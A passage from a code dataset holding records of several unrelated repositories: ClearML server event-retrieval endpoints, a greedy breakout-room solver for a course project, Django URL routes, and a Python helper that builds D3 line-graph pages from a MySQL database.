call.data[\"task\"]\n metric = call.data[\"metric\"]\n scroll_id = call.data.get(\"scroll_id\")\n no_scroll = call.data.get(\"no_scroll\", False)\n model_events = call.data.get(\"model_events\", False)\n\n task_or_model = _assert_task_or_model_exists(\n company_id,\n task_id,\n model_events=model_events,\n )[0]\n result = event_bll.get_task_events(\n task_or_model.get_index_company(),\n task_id,\n event_type=EventType.metrics_scalar,\n sort=[{\"iter\": {\"order\": \"desc\"}}],\n metrics={metric: []},\n scroll_id=scroll_id,\n no_scroll=no_scroll,\n )\n\n call.result.data = dict(\n events=result.events,\n returned=len(result.events),\n total=result.total_events,\n scroll_id=result.next_scroll_id,\n )\n\n\n@endpoint(\"events.get_task_latest_scalar_values\", required_fields=[\"task\"])\ndef get_task_latest_scalar_values(call, company_id, _):\n task_id = call.data[\"task\"]\n task = task_bll.assert_exists(\n company_id, task_id, allow_public=True, only=(\"company\", \"company_origin\")\n )[0]\n index_company = task.get_index_company()\n metrics, last_timestamp = event_bll.get_task_latest_scalar_values(\n index_company, task_id\n )\n last_iters = event_bll.get_last_iters(\n company_id=index_company, event_type=EventType.all, task_id=task_id, iters=1\n ).get(task_id)\n call.result.data = dict(\n metrics=metrics,\n last_iter=last_iters[0] if last_iters else 0,\n name=task.name,\n status=task.status,\n last_timestamp=last_timestamp,\n )\n\n\n# todo: should not repeat iter (x-axis) for each metric/variant, JS client should get raw data and fill gaps if needed\n@endpoint(\n \"events.scalar_metrics_iter_histogram\",\n request_data_model=ScalarMetricsIterHistogramRequest,\n)\ndef scalar_metrics_iter_histogram(\n call, company_id, request: ScalarMetricsIterHistogramRequest\n):\n task_or_model = _assert_task_or_model_exists(\n company_id, request.task, model_events=request.model_events\n )[0]\n metrics = event_bll.metrics.get_scalar_metrics_average_per_iter(\n company_id=task_or_model.get_index_company(),\n task_id=request.task,\n samples=request.samples,\n key=request.key,\n metric_variants=_get_metric_variants_from_request(request.metrics),\n )\n call.result.data = metrics\n\n\ndef _get_task_or_model_index_companies(\n company_id: str,\n task_ids: Sequence[str],\n model_events=False,\n) -> TaskCompanies:\n \"\"\"\n Returns lists of tasks grouped by company\n \"\"\"\n tasks_or_models = _assert_task_or_model_exists(\n company_id,\n task_ids,\n model_events=model_events,\n )\n\n unique_ids = set(task_ids)\n if len(tasks_or_models) < len(unique_ids):\n invalid = tuple(unique_ids - {t.id for t in tasks_or_models})\n error_cls = (\n errors.bad_request.InvalidModelId\n if model_events\n else errors.bad_request.InvalidTaskId\n )\n raise error_cls(company=company_id, ids=invalid)\n\n return bucketize(tasks_or_models, key=lambda t: t.get_index_company())\n\n\n@endpoint(\n \"events.multi_task_scalar_metrics_iter_histogram\",\n request_data_model=MultiTaskScalarMetricsIterHistogramRequest,\n)\ndef multi_task_scalar_metrics_iter_histogram(\n call, company_id, request: MultiTaskScalarMetricsIterHistogramRequest\n):\n task_ids = request.tasks\n if isinstance(task_ids, str):\n task_ids = [s.strip() for s in task_ids.split(\",\")]\n\n call.result.data = dict(\n metrics=event_bll.metrics.compare_scalar_metrics_average_per_iter(\n companies=_get_task_or_model_index_companies(\n company_id, task_ids, request.model_events\n ),\n samples=request.samples,\n key=request.key,\n )\n )\n\n\ndef _get_single_value_metrics_response(\n companies: TaskCompanies, value_metrics: Mapping[str, dict]\n) -> Sequence[dict]:\n task_names = {\n task.id: task.name for task in itertools.chain.from_iterable(companies.values())\n }\n return [\n {\"task\": task_id, \"task_name\": task_names.get(task_id), \"values\": values}\n for task_id, values in value_metrics.items()\n ]\n\n\n@endpoint(\"events.get_task_single_value_metrics\")\ndef get_task_single_value_metrics(\n call, company_id: str, request: SingleValueMetricsRequest\n):\n companies = _get_task_or_model_index_companies(\n company_id, request.tasks, request.model_events\n )\n call.result.data = dict(\n tasks=_get_single_value_metrics_response(\n companies=companies,\n value_metrics=event_bll.metrics.get_task_single_value_metrics(\n companies=companies\n ),\n )\n )\n\n\n@endpoint(\"events.get_multi_task_plots\", required_fields=[\"tasks\"])\ndef get_multi_task_plots_v1_7(call, company_id, _):\n task_ids = call.data[\"tasks\"]\n iters = call.data.get(\"iters\", 1)\n scroll_id = call.data.get(\"scroll_id\")\n\n companies = _get_task_or_model_index_companies(company_id, task_ids)\n\n # Get last 10K events by iteration and group them by unique metric+variant, returning top events for combination\n result = event_bll.get_task_events(\n list(companies),\n task_ids,\n event_type=EventType.metrics_plot,\n sort=[{\"iter\": {\"order\": \"desc\"}}],\n size=10000,\n scroll_id=scroll_id,\n )\n\n task_names = {\n t.id: t.name for t in itertools.chain.from_iterable(companies.values())\n }\n return_events = _get_top_iter_unique_events_per_task(\n result.events, max_iters=iters, task_names=task_names\n )\n\n call.result.data = dict(\n plots=return_events,\n returned=len(return_events),\n total=result.total_events,\n scroll_id=result.next_scroll_id,\n )\n\n\ndef _get_multitask_plots(\n companies: TaskCompanies,\n last_iters: int,\n last_iters_per_task_metric: bool,\n metrics: MetricVariants = None,\n scroll_id=None,\n no_scroll=True,\n) -> Tuple[dict, int, str]:\n task_names = {\n t.id: t.name for t in itertools.chain.from_iterable(companies.values())\n }\n result = event_bll.get_task_events(\n company_id=list(companies),\n task_id=list(task_names),\n event_type=EventType.metrics_plot,\n metrics=metrics,\n last_iter_count=last_iters,\n sort=[{\"iter\": {\"order\": \"desc\"}}],\n scroll_id=scroll_id,\n no_scroll=no_scroll,\n size=config.get(\n \"services.events.events_retrieval.multi_plots_batch_size\", 1000\n ),\n last_iters_per_task_metric=last_iters_per_task_metric,\n )\n return_events = _get_top_iter_unique_events_per_task(\n result.events, max_iters=last_iters, task_names=task_names\n )\n return return_events, result.total_events, result.next_scroll_id\n\n\n@endpoint(\"events.get_multi_task_plots\", min_version=\"1.8\")\ndef get_multi_task_plots(call, company_id, request: MultiTaskPlotsRequest):\n companies = _get_task_or_model_index_companies(\n company_id, request.tasks, model_events=request.model_events\n )\n return_events, total_events, next_scroll_id = _get_multitask_plots(\n companies=companies,\n last_iters=request.iters,\n scroll_id=request.scroll_id,\n no_scroll=request.no_scroll,\n last_iters_per_task_metric=request.last_iters_per_task_metric,\n )\n call.result.data = dict(\n plots=return_events,\n returned=len(return_events),\n total=total_events,\n scroll_id=next_scroll_id,\n )\n\n\n@endpoint(\"events.get_task_plots\", required_fields=[\"task\"])\ndef get_task_plots_v1_7(call, company_id, _):\n task_id = call.data[\"task\"]\n iters = call.data.get(\"iters\", 1)\n scroll_id = call.data.get(\"scroll_id\")\n\n task = task_bll.assert_exists(\n company_id, task_id, allow_public=True, only=(\"company\", \"company_origin\")\n )[0]\n # events, next_scroll_id, total_events = event_bll.get_task_events(\n # company, task_id,\n # event_type=\"plot\",\n # sort=[{\"iter\": {\"order\": \"desc\"}}],\n # last_iter_count=iters,\n # scroll_id=scroll_id)\n\n # get last 10K events by iteration and group them by unique metric+variant, returning top events for combination\n result = event_bll.get_task_events(\n task.get_index_company(),\n task_id,\n event_type=EventType.metrics_plot,\n sort=[{\"iter\": {\"order\": \"desc\"}}],\n size=10000,\n scroll_id=scroll_id,\n )\n\n return_events = _get_top_iter_unique_events(result.events, max_iters=iters)\n\n call.result.data = dict(\n plots=return_events,\n returned=len(return_events),\n total=result.total_events,\n scroll_id=result.next_scroll_id,\n )\n\n\ndef _get_metric_variants_from_request(\n req_metrics: Sequence[ApiMetrics],\n) -> Optional[MetricVariants]:\n if not req_metrics:\n return None\n\n return {m.metric: m.variants for m in req_metrics}\n\n\n@endpoint(\n \"events.get_task_plots\", min_version=\"1.8\", request_data_model=TaskPlotsRequest\n)\ndef get_task_plots(call, company_id, request: TaskPlotsRequest):\n task_id = request.task\n iters = request.iters\n\n task_or_model = _assert_task_or_model_exists(\n company_id, task_id, model_events=request.model_events\n )[0]\n result = event_bll.get_task_plots(\n task_or_model.get_index_company(),\n task_id=task_id,\n last_iterations_per_plot=iters,\n metric_variants=_get_metric_variants_from_request(request.metrics),\n )\n\n return_events = result.events\n\n call.result.data = dict(\n plots=return_events,\n returned=len(return_events),\n total=result.total_events,\n scroll_id=result.next_scroll_id,\n )\n\n\ndef _task_metrics_dict_from_request(req_metrics: Sequence[TaskMetric]) -> dict:\n task_metrics = defaultdict(dict)\n for tm in req_metrics:\n task_metrics[tm.task][tm.metric] = tm.variants\n for metrics in task_metrics.values():\n if None in metrics:\n metrics.clear()\n\n return task_metrics\n\n\ndef _get_metrics_response(metric_events: Sequence[tuple]) -> Sequence[MetricEvents]:\n return [\n MetricEvents(\n task=task,\n iterations=[\n IterationEvents(iter=iteration[\"iter\"], events=iteration[\"events\"])\n for iteration in iterations\n ],\n )\n for (task, iterations) in metric_events\n ]\n\n\n@endpoint(\n \"events.plots\",\n request_data_model=MetricEventsRequest,\n response_data_model=MetricEventsResponse,\n)\ndef task_plots(call, company_id, request: MetricEventsRequest):\n task_metrics = _task_metrics_dict_from_request(request.metrics)\n task_ids = list(task_metrics)\n task_or_models = _assert_task_or_model_exists(\n company_id, task_ids=task_ids, model_events=request.model_events\n )\n result = event_bll.plots_iterator.get_task_events(\n companies={t.id: t.get_index_company() for t in task_or_models},\n task_metrics=task_metrics,\n iter_count=request.iters,\n navigate_earlier=request.navigate_earlier,\n refresh=request.refresh,\n state_id=request.scroll_id,\n )\n\n call.result.data_model = MetricEventsResponse(\n scroll_id=result.next_scroll_id,\n metrics=_get_metrics_response(result.metric_events),\n )\n\n\n@endpoint(\"events.debug_images\", required_fields=[\"task\"])\ndef get_debug_images_v1_7(call, company_id, _):\n task_id = call.data[\"task\"]\n iters = call.data.get(\"iters\") or 1\n scroll_id = call.data.get(\"scroll_id\")\n\n task = task_bll.assert_exists(\n company_id, task_id, allow_public=True, only=(\"company\", \"company_origin\")\n )[0]\n # events, next_scroll_id, total_events = event_bll.get_task_events(\n # company, task_id,\n # event_type=\"training_debug_image\",\n # sort=[{\"iter\": {\"order\": \"desc\"}}],\n # last_iter_count=iters,\n # scroll_id=scroll_id)\n\n # get last 10K events by iteration and group them by unique metric+variant, returning top events for combination\n result = event_bll.get_task_events(\n task.get_index_company(),\n task_id,\n event_type=EventType.metrics_image,\n sort=[{\"iter\": {\"order\": \"desc\"}}],\n size=10000,\n scroll_id=scroll_id,\n )\n\n return_events = _get_top_iter_unique_events(result.events, max_iters=iters)\n\n call.result.data = dict(\n task=task_id,\n images=return_events,\n returned=len(return_events),\n total=result.total_events,\n scroll_id=result.next_scroll_id,\n )\n\n\n@endpoint(\"events.debug_images\", min_version=\"1.8\", required_fields=[\"task\"])\ndef get_debug_images_v1_8(call, company_id, _):\n task_id = call.data[\"task\"]\n iters = call.data.get(\"iters\") or 1\n scroll_id = call.data.get(\"scroll_id\")\n model_events = call.data.get(\"model_events\", False)\n\n tasks_or_model = _assert_task_or_model_exists(\n company_id,\n task_id,\n model_events=model_events,\n )[0]\n result = event_bll.get_task_events(\n tasks_or_model.get_index_company(),\n task_id,\n event_type=EventType.metrics_image,\n sort=[{\"iter\": {\"order\": \"desc\"}}],\n last_iter_count=iters,\n scroll_id=scroll_id,\n )\n\n return_events = result.events\n\n call.result.data = dict(\n task=task_id,\n images=return_events,\n returned=len(return_events),\n total=result.total_events,\n scroll_id=result.next_scroll_id,\n )\n\n\n@endpoint(\n \"events.debug_images\",\n min_version=\"2.7\",\n request_data_model=MetricEventsRequest,\n response_data_model=MetricEventsResponse,\n)\ndef get_debug_images(call, company_id, request: MetricEventsRequest):\n task_metrics = _task_metrics_dict_from_request(request.metrics)\n task_ids = list(task_metrics)\n task_or_models = _assert_task_or_model_exists(\n company_id, task_ids=task_ids, model_events=request.model_events\n )\n result = event_bll.debug_images_iterator.get_task_events(\n companies={t.id: t.get_index_company() for t in task_or_models},\n task_metrics=task_metrics,\n iter_count=request.iters,\n navigate_earlier=request.navigate_earlier,\n refresh=request.refresh,\n state_id=request.scroll_id,\n )\n\n call.result.data_model = MetricEventsResponse(\n scroll_id=result.next_scroll_id,\n metrics=_get_metrics_response(result.metric_events),\n )\n\n\n@endpoint(\n \"events.get_debug_image_sample\",\n min_version=\"2.12\",\n request_data_model=GetVariantSampleRequest,\n)\ndef get_debug_image_sample(call, company_id, request: GetVariantSampleRequest):\n task_or_model = _assert_task_or_model_exists(\n company_id,\n request.task,\n model_events=request.model_events,\n )[0]\n res = event_bll.debug_image_sample_history.get_sample_for_variant(\n company_id=task_or_model.get_index_company(),\n task=request.task,\n metric=request.metric,\n variant=request.variant,\n iteration=request.iteration,\n refresh=request.refresh,\n state_id=request.scroll_id,\n navigate_current_metric=request.navigate_current_metric,\n )\n call.result.data = attr.asdict(res, recurse=False)\n\n\n@endpoint(\n \"events.next_debug_image_sample\",\n min_version=\"2.12\",\n request_data_model=NextHistorySampleRequest,\n)\ndef next_debug_image_sample(call, company_id, request: NextHistorySampleRequest):\n task_or_model = _assert_task_or_model_exists(\n company_id,\n request.task,\n model_events=request.model_events,\n )[0]\n res = event_bll.debug_image_sample_history.get_next_sample(\n company_id=task_or_model.get_index_company(),\n task=request.task,\n state_id=request.scroll_id,\n navigate_earlier=request.navigate_earlier,\n next_iteration=request.next_iteration,\n )\n call.result.data = attr.asdict(res, recurse=False)\n\n\n@endpoint(\n \"events.get_plot_sample\",\n request_data_model=GetMetricSamplesRequest,\n)\ndef get_plot_sample(call, company_id, request: GetMetricSamplesRequest):\n task_or_model = _assert_task_or_model_exists(\n company_id,\n request.task,\n model_events=request.model_events,\n )[0]\n res = event_bll.plot_sample_history.get_samples_for_metric(\n company_id=task_or_model.get_index_company(),\n task=request.task,\n metric=request.metric,\n iteration=request.iteration,\n refresh=request.refresh,\n state_id=request.scroll_id,\n navigate_current_metric=request.navigate_current_metric,\n )\n call.result.data = attr.asdict(res, recurse=False)\n\n\n@endpoint(\n \"events.next_plot_sample\",\n request_data_model=NextHistorySampleRequest,\n)\ndef next_plot_sample(call, company_id, request: NextHistorySampleRequest):\n task_or_model = _assert_task_or_model_exists(\n company_id,\n request.task,\n model_events=request.model_events,\n )[0]\n res = event_bll.plot_sample_history.get_next_sample(\n company_id=task_or_model.get_index_company(),\n task=request.task,\n state_id=request.scroll_id,\n navigate_earlier=request.navigate_earlier,\n next_iteration=request.next_iteration,\n )\n call.result.data = attr.asdict(res, recurse=False)\n\n\n@endpoint(\"events.get_task_metrics\", request_data_model=TaskMetricsRequest)\ndef get_task_metrics(call: APICall, company_id, request: TaskMetricsRequest):\n task_or_models = _assert_task_or_model_exists(\n company_id,\n request.tasks,\n model_events=request.model_events,\n )\n res = event_bll.metrics.get_task_metrics(\n task_or_models[0].get_index_company(),\n task_ids=request.tasks,\n event_type=request.event_type,\n )\n call.result.data = {\n \"metrics\": [{\"task\": task, \"metrics\": metrics} for (task, metrics) in res]\n }\n\n\n@endpoint(\"events.delete_for_task\", required_fields=[\"task\"])\ndef delete_for_task(call, company_id, _):\n task_id = call.data[\"task\"]\n allow_locked = call.data.get(\"allow_locked\", False)\n\n task_bll.assert_exists(company_id, task_id, return_tasks=False)\n call.result.data = dict(\n deleted=event_bll.delete_task_events(\n company_id, task_id, allow_locked=allow_locked\n )\n )\n\n\n@endpoint(\"events.delete_for_model\", required_fields=[\"model\"])\ndef delete_for_model(call: APICall, company_id: str, _):\n model_id = call.data[\"model\"]\n allow_locked = call.data.get(\"allow_locked\", False)\n\n model_bll.assert_exists(company_id, model_id, return_models=False)\n call.result.data = dict(\n deleted=event_bll.delete_task_events(\n company_id, model_id, allow_locked=allow_locked, model=True\n )\n )\n\n\n@endpoint(\"events.clear_task_log\")\ndef clear_task_log(call: APICall, company_id: str, request: ClearTaskLogRequest):\n task_id = request.task\n\n task_bll.assert_exists(company_id, task_id, return_tasks=False)\n call.result.data = dict(\n deleted=event_bll.clear_task_log(\n company_id=company_id,\n task_id=task_id,\n allow_locked=request.allow_locked,\n threshold_sec=request.threshold_sec,\n )\n )\n\n\ndef _get_top_iter_unique_events_per_task(\n events, max_iters: int, task_names: Mapping[str, str]\n):\n key_fields = (\"metric\", \"variant\", \"task\")\n unique_events = itertools.chain.from_iterable(\n itertools.islice(group, max_iters)\n for _, group in itertools.groupby(\n sorted(events, key=itemgetter(*(key_fields + (\"iter\",))), reverse=True),\n key=itemgetter(*key_fields),\n )\n )\n\n def collect(evs, fields):\n if not fields:\n evs = list(evs)\n return {\"name\": task_names.get(evs[0].get(\"task\")), \"plots\": evs}\n return {\n str(k): collect(group, fields[1:])\n for k, group in itertools.groupby(evs, key=itemgetter(fields[0]))\n }\n\n collect_fields = (\"metric\", \"variant\", \"task\", \"iter\")\n return collect(\n sorted(unique_events, key=itemgetter(*collect_fields), reverse=True),\n collect_fields,\n )\n\n\ndef _get_top_iter_unique_events(events, max_iters):\n top_unique_events = defaultdict(lambda: [])\n for ev in events:\n key = ev.get(\"metric\", \"\") + ev.get(\"variant\", \"\")\n evs = top_unique_events[key]\n if len(evs) < max_iters:\n evs.append(ev)\n unique_events = list(\n itertools.chain.from_iterable(list(top_unique_events.values()))\n )\n unique_events.sort(key=lambda e: e[\"iter\"], reverse=True)\n return unique_events\n\n\nclass ScalarMetricsIterRawScroll(Scroll):\n from_key_value = jsonmodels.fields.StringField()\n total = jsonmodels.fields.IntField()\n request: ScalarMetricsIterRawRequest = jsonmodels.fields.EmbeddedField(\n ScalarMetricsIterRawRequest\n )\n\n\n@endpoint(\"events.scalar_metrics_iter_raw\", min_version=\"2.16\")\ndef scalar_metrics_iter_raw(\n call: APICall, company_id: str, request: ScalarMetricsIterRawRequest\n):\n key = request.key or ScalarKeyEnum.iter\n scalar_key = ScalarKey.resolve(key)\n if request.batch_size and request.batch_size < 0:\n raise errors.bad_request.ValidationError(\n \"batch_size should be non negative number\"\n )\n\n if not request.scroll_id:\n from_key_value = None\n total = None\n request.batch_size = request.batch_size or 10_000\n else:\n try:\n scroll = ScalarMetricsIterRawScroll.from_scroll_id(request.scroll_id)\n except ValueError:\n raise errors.bad_request.InvalidScrollId(scroll_id=request.scroll_id)\n\n if scroll.from_key_value is None:\n return make_response(\n scroll_id=request.scroll_id, total=scroll.total, variants={}\n )\n\n from_key_value = scalar_key.cast_value(scroll.from_key_value)\n total = scroll.total\n request.batch_size = request.batch_size or scroll.request.batch_size\n\n task_id = request.task\n task_or_model = _assert_task_or_model_exists(\n company_id, task_id, model_events=request.model_events\n )[0]\n metric_variants = _get_metric_variants_from_request([request.metric])\n\n if request.count_total and total is None:\n total = event_bll.events_iterator.count_task_events(\n event_type=EventType.metrics_scalar,\n company_id=task_or_model.get_index_company(),\n task_id=task_id,\n metric_variants=metric_variants,\n )\n\n batch_size = min(\n request.batch_size,\n int(\n config.get(\"services.events.events_retrieval.max_raw_scalars_size\", 200_000)\n ),\n )\n\n events = []\n for iteration in range(0, math.ceil(batch_size / 10_000)):\n res = event_bll.events_iterator.get_task_events(\n event_type=EventType.metrics_scalar,\n company_id=task_or_model.get_index_company(),\n task_id=task_id,\n batch_size=min(batch_size, 10_000),\n navigate_earlier=False,\n from_key_value=from_key_value,\n metric_variants=metric_variants,\n key=key,\n )\n if not res.events:\n break\n events.extend(res.events)\n from_key_value = str(events[-1][scalar_key.field])\n\n key = str(key)\n variants = {\n variant: extract_properties_to_lists(\n [\"value\", scalar_key.field], events, target_keys=[\"y\", key]\n )\n for variant, events in bucketize(events, key=itemgetter(\"variant\")).items()\n }\n\n call.kpis[\"events\"] = len(events)\n\n scroll = ScalarMetricsIterRawScroll(\n from_key_value=str(events[-1][scalar_key.field]) if events else None,\n total=total,\n request=request,\n )\n\n return make_response(\n returned=len(events),\n total=total,\n scroll_id=scroll.get_scroll_id(),\n variants=variants,\n )\n\n\n@endpoint(\"events.clear_scroll\", min_version=\"2.18\")\ndef clear_scroll(_, __, request: ClearScrollRequest):\n if request.scroll_id:\n event_bll.clear_scroll(request.scroll_id)\n","repo_name":"allegroai/clearml-server","sub_path":"apiserver/services/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":37183,"program_lang":"python","lang":"en","doc_type":"code","stars":334,"dataset":"github-code","pt":"21"} +{"seq_id":"39947995952","text":"import networkx as nx\n\nfrom parse import *\nfrom utils import *\nimport glob\nimport sys\n\n\ndef solve(G, s):\n \"\"\"\n Args:\n G: networkx.Graph\n s: stress_budget\n Returns:\n D: Dictionary mapping for student to breakout room r e.g. {0:2, 1:0, 2:1, 3:2}\n k: Number of breakout rooms\n \"\"\"\n\n # TODO: your code here!\n D = {}\n k = 0\n \n students_left = G.number_of_nodes()\n student_pairs = G.edges\n student_pair_to_ratio = {}\n for pair in student_pairs:\n #print(G.edges[pair][\"stress\"], pair)\n ratio = 100000\n if G.edges[pair][\"stress\"] > 0:\n ratio = G.edges[pair][\"happiness\"] / G.edges[pair][\"stress\"]\n student_pair_to_ratio[pair] = [ratio, G.edges[pair][\"happiness\"]]\n student_pair_to_ratio = sorted(student_pair_to_ratio.items(), key = lambda x: (x[1][0], x[1][1]), reverse=True)\n\n room_to_students = {}\n\n while students_left > 0 and k < G.number_of_nodes():\n students_left = G.number_of_nodes()\n k += 1\n D.clear()\n #students_remaining = student_pair_to_ratio.copy()\n #print(\"Number of breakout rooms so far: \" + str(k))\n #print(\"Stress Threshoed: \" + str(s/k))\n for r in range(k):\n #room_stress = 0\n room_to_students[r] = []\n for pair_and_ratio in student_pair_to_ratio:\n pair = pair_and_ratio[0]\n student_1 = pair[0]\n student_2 = pair[1]\n #print(\"First student pair: \" + str(pair_and_ratio))\n # If both students are already in assigned rooms, go to next pair\n if student_1 in D.keys() and student_2 in D.keys():\n #print(\"Both students in this pair are already assigned to rooms.\")\n continue\n temp = room_to_students[r].copy()\n temp.extend(pair)\n #print(\"Students in room \" + str(r) +\": \" + str(room_to_students[r]))\n #print(\"Stress in this room: \" + str(calculate_stress_for_room(room_to_students[r], G)))\n if calculate_stress_for_room(temp, G) <= s/k:\n if student_1 not in D.keys() and student_2 not in D.keys():\n D[student_1] = r\n D[student_2] = r\n room_to_students[r].extend(pair)\n students_left -= 2\n elif student_1 in room_to_students[r] and student_2 not in D.keys():\n D[student_2] = r\n room_to_students[r].append(student_2)\n students_left -= 1\n elif student_1 not in D.keys() and student_2 in room_to_students[r]:\n D[student_1] = r\n room_to_students[r].append(student_1)\n students_left -= 1\n elif r + 1 >= k:\n break\n #print(\"Number of unassigned students: \" + str(students_left))\n\n #print(student_pair_to_ratio[0][0])\n return D, k\n\n\n# Here's an example of how to run your solver.\n\n# Usage: python3 solver.py test.in\n\n\"\"\"\nif __name__ == '__main__':\n assert len(sys.argv) == 2\n path = sys.argv[1]\n G, s = read_input_file(path)\n solve(G, s)\n D, k = solve(G, s)\n assert is_valid_solution(D, G, s, k)\n print(\"Total Happiness: {}\".format(calculate_happiness(D, G)))\n print(\"Number of Breakout Rooms: \" + str(k))\n print(D)\n #write_output_file(D, 'out/test.out')\n\"\"\"\n\n# For testing a folder of inputs to create a folder of outputs, you can use glob (need to import it)\nif __name__ == '__main__':\n inputs = glob.glob('inputs/*')\n for input_path in inputs:\n output_path = 'outputs/' + str(input_path)[7:][:-3] + '.out'\n G, s = read_input_file(input_path)\n D, k = solve(G, s)\n assert is_valid_solution(D, G, s, k)\n happiness = calculate_happiness(D, G) \n write_output_file(D, output_path)\n","repo_name":"TheEthanDing/cs170_project","sub_path":"solver_naive_greedy.py","file_name":"solver_naive_greedy.py","file_ext":"py","file_size_in_byte":3997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14904316525","text":"\"\"\"mysite URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n # ^$ 는 현재 폴더를 의미\n url(r'^$',views.index, name = 'polls'),\n url(r'^signin/',views.signin, name='signin' ),\n url(r'^login/',views.login, name='login' ),\n url(r'^logout/',views.logout, name='logout' ),\n url(r'^register/',views.register, ),\n url(r'^index1/',views.index1, name = 'index1' ),\n url(r'^book/(?P[0-9]+)/$' ,views.bookdetail, name='bookdetail'),\n url(r'^rent/(?P[0-9]+)/$', views.rent, name='rent'),\n url(r'^rentlist/', views.rentlist2, name='rentlist2'),\n # url(r'^dojoin/', views.dojoin, name='dojoin'),\n # \n]\n","repo_name":"chaezz/django-firstweb","sub_path":"polls/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"15980932710","text":"# -*- coding: utf-8 -*-\n# 3.0\n\n# \n\n# Generation 4 graph builder library\n\n# \n\nimport json\nimport pymysql\nimport pandas.io.sql as psql\nimport unittest\n\nfrom settings_statmart import *\nimport utils_statmart as us\nimport gen4_html as html\nimport gen4_d3js_parts as d3\n\nimport imp\nimp.reload(d3)\n\n# \n\ndef build_file_name(config):\n return \"%s_%s.php\" % (config[\"prefix\"], config[\"suffix\"]);\n\n# \n\ndef get_all_series_json(config):\n df = \"\"\n with statmart_utils.get_db_connection() as cursor:\n query = \"\"\"\n SELECT identifier, description\n FROM series as S \n WHERE S.identifier like '%s%s%s'\n \"\"\" % (config(\"prefix\"), \"\\_%\\_\", config(\"suffix\"))\n df = psql.frame_query(query, con=cursor.connection)\n return json.dumps(df.as_matrix().tolist(),indent=4)\n\n# \n\ndef build_d3_head(title, include_path=\"../../inc/\",style_include=\"style_basic.php\"):\n meta = html.meta([(\"http-equiv\", \"content-type\"), (\"content\",\"text/html; charset=UTF-8\")])\n titl = html.title(title)\n scrp = html.script_ext(statmart_d3_path)\n styl = html.style(html.php_include(include_path + style_include))\n head = (\"\\n\").join([meta,titl,scrp,styl])\n return html.head(head)\n\n# \n\ndef build_d3_line_graph(config):\n script = []\n script.append(d3.metadata_iso3_map % (config[\"iso3_map\"])) \n script.append(d3.metadata_series_info_map % (config[\"series_info_map\"])) \n \n if \"currency_year\" in config:\n script.append(util_currency_converter_2005)\n \n if config[\"series_source\"] == \"params\":\n script.append(d3.util_function_get_parameters_by_name)\n if config[\"series_param\"] == \"iso3\":\n script.append(d3.js_series_name_from_iso3_parameter % (config[\"prefix\"],config[\"suffix\"]))\n elif config[\"series_param\"] == \"s\":\n script.append(d3.js_series_name_from_s_parameter)\n \n if config[\"data_source\"] == \"local\":\n script.append(d3.js_dataset_list % get_all_series_json(config))\n elif config[\"data_source\"] == \"query\":\n script.append(d3.js_data_url_series_query)\n \n script.append(d3.graph_set_title % (config[\"title\"])) \n if config[\"subtitle\"] == \"countryname\": \n script.append(d3.graph_set_subtitle_country)\n else:\n script.append(d3.graph_set_subtitle % (config[\"subtitle\"])) \n \n script.append(d3.graph_default_size)\n script.append(d3.graph_title_location)\n script.append(d3.graph_default_header)\n \n script.append(d3.include_js_d3_basic_axis)\n script.append(d3.js_d3_start_csv)\n \n if config[\"unit\"] == \"guess\":\n script.append(d3.js_unit_guess)\n else:\n script.append(d3.js_unit_set % (config[\"unit\"], str(config[\"multiplier\"])))\n \n script.append(d3.js_d3_process_annual_csv_data)\n script.append(d3.js_d3_build_simple_xy_domains)\n script.append(d3.js_d3_svg_build_x_axis)\n \n if config[\"y_axis_label\"] == \"unit\":\n script.append(d3.js_d3_svg_build_y_axis_unit_label)\n else:\n script.append(d3.js_d3_svg_build_y_axis_label % config[\"y_axis_label\"])\n \n script.append(d3.js_d3_svg_draw_line)\n script.append(d3.svg_draw_title)\n script.append(d3.svg_draw_subtitle)\n script.append(d3.svg_draw_source)\n script.append(d3.js_d3_end_csv)\n \n head = build_d3_head(config[\"indicator\"])\n body = html.body(html.script(\"\\n\".join(script)))\n page = html.html(head + \"\\n\" + body)\n page_name = build_file_name(config)\n us.mkdirs(config[\"gen_4_dir\"])\n page_file = open(config[\"gen_4_dir\"] + page_name, \"w\", encoding=\"utf8\")\n page_file.write(page)\n page_file.close() \n return page\n\n# \n\ndef get_iso3_map_json(config):\n df = \"\"\n with us.get_db_connection() as cursor:\n query = \"\"\"\n SELECT L.iso3, L.countryname, O.series, COUNT(O.dateid) as numberyears\n FROM observation as O\n INNER JOIN location as L ON O.locationid = L.id\n WHERE O.series like '%s\\_%s\\_%s'\n GROUP BY L.iso3\n \"\"\" % (config[\"prefix\"], \"%\", config[\"suffix\"])\n df = psql.frame_query(query, con=cursor.connection)\n df = df.set_index(\"iso3\")\n return df.to_json(orient=\"index\")\n\n# \n\ndef get_series_info_map_json(config):\n df = \"\"\n with us.get_db_connection() as cursor:\n query = \"\"\"\n SELECT identifier, originalsource, proximatesource\n FROM series\n WHERE series.identifier like '%s\\_%s\\_%s'\n \"\"\" % (config[\"prefix\"], \"%\", config[\"suffix\"])\n df = psql.frame_query(query, con=cursor.connection)\n df = df.set_index(\"identifier\")\n return df.to_json(orient=\"index\")\n\n# \n\ndef build_gen4_config(config, \n title=\"indicator\", \n subtitle=\"countryname\",\n y_axis_label=\"unit\",\n data_source=\"query\", \n series_source=\"params\", \n series_param=\"iso3\",\n unit=\"guess\"):\n config[\"iso3_map\"] = get_iso3_map_json(config)\n config[\"series_info_map\"] = get_series_info_map_json(config)\n config[\"title\"] = title\n if title == \"indicator\":\n config[\"title\"] = config[\"indicator\"]\n config[\"subtitle\"] = subtitle\n config[\"y_axis_label\"] = y_axis_label\n config[\"data_source\"] = data_source\n config[\"series_source\"] = series_source\n config[\"series_param\"] = series_param\n config[\"unit\"] = unit\n return config\n\n# 